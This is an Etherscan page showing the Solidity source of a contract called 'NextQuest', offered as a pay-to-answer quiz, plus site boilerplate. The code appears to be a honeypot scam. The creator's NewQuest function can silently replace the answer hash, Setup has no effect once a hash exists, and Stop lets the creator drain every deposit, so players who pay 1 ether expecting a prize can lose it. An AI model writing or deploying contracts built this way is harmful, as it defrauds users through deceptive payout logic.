Discover more of Etherscan's tools and services in one place.
Sponsored
Contract Source Code:
File 1 of 1 : NextQuest
contract NextQuest { string public Question; address questionSender; bytes32 responseHash; function Play(string resp) public payable { require(msg.sender == tx.origin); if (responseHash == keccak256(resp) && msg.value >= 1 ether) { msg.sender.transfer(address(this).balance); } } function() public payable{} function Setup(string q, string resp) public payable { if (responseHash == 0x0) { responseHash = keccak256(resp); Question = q; questionSender = msg.sender; } } function Stop() public payable { require(msg.sender==questionSender); msg.sender.transfer(address(this).balance); } function NewQuest(string q, bytes32 respHash) public payable { require(msg.sender==questionSender); Question = q; responseHash = respHash; } }
Please enter a contract address above to load the contract details and source code.
Please DO NOT store any passwords or private keys here. A private note (up to 100 characters) can be saved and is useful for transaction tracking.
This website uses cookies to improve your experience. By continuing to use this website, you agree to its Terms and Privacy Policy.